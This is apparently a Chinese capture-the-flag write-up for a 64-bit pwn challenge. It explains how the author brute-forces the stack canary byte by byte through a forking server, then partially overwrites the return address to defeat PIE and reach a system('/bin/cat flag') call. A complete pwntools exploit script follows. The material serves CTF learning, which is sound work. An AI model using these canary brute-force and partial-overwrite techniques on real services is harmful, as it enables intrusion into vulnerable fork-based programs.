一、保护检查
先检查文件的保护以及文件的类型,保护全开,64位程序。通过题目大概也知道想考察的内容是canary保护绕过或者canary泄露
二、IDA分析
首当其冲的是main函数,发现main函数中存在fork()函数(这个函数相当重要且有用)。通过观察main函数的基础结构可以发现,该程序会不断的fork进程。
进入sub_128A()函数中,发现只有一个read读取数据,但是该read读取数据存在栈溢出。
结合上述两个函数,基本可以确定该程序的功能。
即,每次读取0x80字节的字符串,然后重新fork出子进程。根据这个特性,我们可以通过不断的试错爆破出canary值。
由于该程序开启了PIE保护,所以想要通过构造rop链来getshell还是比较困难的,先查看程序中是否存在可用函数。
根据“字符”查找到特殊的字符串“/bin/cat flag”,所以可能存在直接的system(“/bin/cat flag”)函数,通过追踪定位,发现确实存在相应函数。
根据这些获得的信息,可以基本的了解到应该如何编写脚本exp了。
三、exp编写
首先是canary的爆破,详细的canary爆破教程请参考(59条消息) Canary学习(爆破Canary)_baopo canary_西杭的博客-CSDN博客
只不过本次的程序为64位程序,需要再此基础之上做出一些修改,爆破代码如下:
canary = b'\x00'
for k in range(7):
for i in range(256):
print("the " + str(k) + ": " + str(i.to_bytes(1,'little')))
s(b'a'*0x68 + canary + i.to_bytes(1,'little'))
a = ru(b"welcome\n")
print(a)
if b'fun' in a:
canary += i.to_bytes(1,'little')
print("canary: " + str(canary))
break
再爆破出canary后,即为覆盖返回地址到相应的函数上,由于本次的程序开启了PIE保护,所以不能直接修改返回地址。
根据PIE的保护的特性我们可以知道(请先进行PIE保护的相关学习),地址的后3位是不变的,所以只需要的原先返回地址的基础之上将返回地址的后三位覆盖位system(“/bin/cat flag”)函数调用的地址即可,即为修改为“0x231”(该地址只需要在IDA看偏移地址即可),
由于一次一个地址的进行爆破canary再尝试爆破PIE太过浪费时间,所以我们直接一次性发送16个不同地址的payload,保证肯定存在其中一个payload能够执行system(“/bin/cat flag”)函数,从而获得flag。
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x02')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x12')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x22')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x32')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x42')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x52')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x62')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x72')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x82')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x92')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xa2')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xb2')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xc2')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xd2')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xe2')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xf2')
ru(b'welcome\n')
四、exp
在本地测试的话,请在当前文件夹中建立一个flag文件,并在里边写下flag的内容。
#!/usr/bin/env python3
# Date: 2023-05-28 09:45:41
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.binary = './funcanary'
context.log_level = 'debug'
context.timeout = 5
io = process('./funcanary')
# io = remote('39.106.48.123', 36148)
elf = ELF('./funcanary')
def debug(gdbscript="", stop=False):
if isinstance(io, process):
gdb.attach(io, gdbscript=gdbscript)
if stop:
pause()
stop = pause
S = pause
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
s = io.send
sl = io.sendline
sla = io.sendlineafter
sa = io.sendafter
slt = io.sendlinethen
st = io.sendthen
r = io.recv
rn = io.recvn
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
rs = io.recvlines
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains
ia = io.interactive
ic = io.close
cr = io.can_recv
# 0x0000000000001229 system("cat flag")
# syscall_vgettimeofday = 0xffffffffff600000
a = ru(b'welcome\n')
# print(a)
# if b'wel' in a:
# print(1)
canary = b'\x00'
for k in range(7):
for i in range(256):
print("the " + str(k) + ": " + str(i.to_bytes(1,'little')))
s(b'a'*0x68 + canary + i.to_bytes(1,'little'))
a = ru(b"welcome\n")
print(a)
if b'fun' in a:
canary += i.to_bytes(1,'little')
print("canary: " + str(canary))
break
# debug("", True)
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x02')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x12')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x22')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x32')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x42')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x52')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x62')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x72')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x82')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x92')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xa2')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xb2')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xc2')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xd2')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xe2')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xf2')
ru(b'welcome\n')
ia()